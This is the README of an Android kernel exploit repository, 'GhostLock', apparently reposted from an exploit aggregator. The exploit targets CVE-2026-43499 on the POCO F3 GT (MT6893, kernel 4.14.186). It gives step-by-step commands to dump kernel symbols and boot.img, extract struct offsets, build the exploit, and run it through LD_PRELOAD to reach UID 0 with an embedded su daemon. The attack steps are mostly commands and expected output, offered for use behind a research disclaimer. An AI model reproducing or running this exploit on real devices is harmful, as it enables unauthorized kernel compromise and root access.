Share
## https://sploitus.com/exploit?id=C31ECE99-9C77-5299-8207-15D58CEBD72F
# GhostLock (CVE-2026-43499) โ POCO F3 GT (aresin)
A data-only physmap overwrite exploit for MediaTek Dimensity 1200 (MT6893). Kernel: `4.14.186-android13` / MIUI V14.0.4.0.TKJCNXM. ## โ ๏ธ Prerequisites
- **Device**: POCO F3 GT / Redmi K40 Gaming Edition (codename: aresin)
- **Chip**: MediaTek Dimensity 1200 (MT6893)
- **OS**: Android 13 / MIUI 14 (V14.0.4.0.TKJCNXM)
- **Kernel**: 4.14.186-g0dc1d312efb3
- **No need to unlock BL** โ Can obtain shell permissions via Shizuku (wireless debugging)
- **Shizuku** or **adb shell** can execute arm64 binaries
- The device will restart after execution (kernel panic โ expected behavior). To save logs, connect adb logcat in advance.
## โ
Vulnerability Check
| Condition | Status | Description |
|---------|--------|---------|
| Kernel version range | โ
| 4.14.186 within 2.6.39 to 7.0.4 |
| CONFIG_FUTEX_PI | โ
| Enabled (y) |
| CONFIG_RT_MUTEXES | โ
| Enabled (y) |
| Architecture | โ
| aarch64 |
| CONFIG_PREEMPT | โ
| Enabled (y) |
| CONFIG_RANDOMIZE_KSTACK | โ | Needs confirmation (4.14 may not support) |
## ๐ง Preparation Steps
### Step 1: Extract kernel symbol addresses
```bash
# Run extraction script on the device
adb push tools/extract_offsets.sh /data/local/tmp/
adb shell sh /data/local/tmp/extract_offsets.sh
adb pull /data/local/tmp/ghostlock_offsets.txt
```
If you have root access (using Magisk), you can directly extract them from `/proc/kallsyms`:
```bash
adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"
```
### Step 2: Extract vmlinux and analyze structure offsets
#### Method A: Extract vmlinux from boot.img
```bash
# 1. Get boot.img
adb shell "ls /dev/block/by-name/boot"
adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
adb pull /data/local/tmp/boot.img
# 2. Unpack with magiskboot
magiskboot unpack boot.img
# Result: kernel (compressed vmlinux)
# 3. Decompress vmlinux
magiskboot decompress kernel vmlinux.elf
# 4. Use pahole to extract structure offsets
pahole --structs=rt_mutex_waiter vmlinux.elf
pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"
```
#### Method B: Analyze with Ghidra
1. Open `vmlinux.elf` with Ghidra
2. Search for `rt_mutex_waiter` and `task_struct` structures
3. Record offset values for each field
### Step 3: Fill in the target.h file
Enter the extracted offset values in all places marked `0xTODO` in `target.h`. Key offset tables:
| Field | Description | Extraction Method |
|-------|-------------|------------------|
| `INIT_TASK` | Address of init_task | `/proc/kallsyms` or Ghidra |
| `INIT_CRED` | Address of init_cred | `/proc/kallsyms` or Ghidra |
| `WAITER_*_OFF` | Offset of rt_mutex_waiter field | pahole / Ghidra |
| `FAKE_TASK_*_OFF` | Offset of task_struct field | pahole / Ghidra |
| `TASK_CRED_OFF` | Offset of cred pointer | pahole / Ghidra |
### Step 4: Compile
```bash
# Need Android NDK r27+
export NDK_ROOT=/path/to/android-ndk-r27
```
# Or use the NDK in Android Studio
export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973
# Compile
make preload TARGET_HEADER=target.h
# Output: build/bin/preload.so
```
### Step 5: Testing
```bash
# Push to device
adb push build/bin/preload.so /data/local/tmp/
adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true
# Run
adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin
# Or use Shizuku
# In Shizuku: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin
```
## ๐ Expected Behavior
| Stage | Output | Description |
|------|------|------|
| Initialization | `[*] GhostLock - aresin (MT6893 D1200) 4.14.186` | Device recognition successful |
| CPU Binding | `[+] CPU0 pinned` | Bound to CPU0 |
| Address Loading | `[*] init_task @ 0xffffffc00xxxxxxx` | Fixed LM address |
| Permission Check | `[+] uid: xxxxx` | Prints current UID |
| KASLR Slide | `[+] slide = 0` or `slide = xxx` | KASLR detection |
| Privilege Escalation | UID becomes 0 after success | Gain root access |
| Failure | `[-] ...` + Restart | Kernel panic (vulnerability exists but offset needs adjustment) |
## โ ๏ธ Important Notes
### Differences between 4.14.x and 6.1.x kernels
1. **rt_mutex_waiter structure differences**:
- 4.14.x uses `plist_node` instead of `rb_node`
- Field offsets are completely different
- Possibly no `deadline` or `ww_ctx` fields
2. **task_struct layout differences**:
- Offsets of `pi_blocked_on`, `pi_lock`, etc. in 4.14.x differ from 6.1.x
- Fields related to `uclamp` may not exist in 4.14.x
3. **KASLR implementation differences**:
- KASLR randomization methods in 4.14.x differ from 6.1.x
- Leak detection methods may need adjustment
4. **Security differences between Android 13 and 14**:
- SELinux policies may differ
- Access restrictions on `/proc/self/pagemap` may vary
### Offset Verification
After entering the offsets, it is recommended to cross-verify with Ghidra:
1. Open vmlinux.elf in Ghidra
2. Navigate to the `rt_mutex_waiter` structure
3. Confirm that each fieldโs offset matches what is defined in `target.h`
## ๐ File Structure
```
ghostlock-aresin/
โโโ README.md # This file
โโโ Makefile # Compilation script
โโโ target.h # Target device offset definitions (must be filled in)
โโโ src/ # Source code
โ โโโ main.c # Main logic
โ โโโ util.c # Utility functions
โ โโโ slide.c # KASLR detection
โ โโโ fops.c # File operations
โ โโโ pipe.c # Pipe-related functions
โ โโโ preload.c # LD_PRELOAD entry point
โ โโโ su_daemon.c # su daemon
โ โโโ su_blob.S # su binary embedding
โ โโโ standalone.c # Standalone execution
โ โโโ common.h # Common definitions
โ โโโ offset.h # Offset calculations
โโโ tools/
โ โโโ extract_offsets.sh # Offset extraction script
โโโ build/
โโโ bin/ # Compiled output
โโโ embed/ # Embedded files
```
## ๐ License
For research/educational purposes only. Use at your own risk. **Original PoC**: [NebuSec/CyberMeowfia](https://github.com/NebuSec/CyberMeowfia) โ `IonStack/CVE-2026-43499/exploit/`
**Adapted for**: POCO F3 GT (aresin) by ghostlock-aresin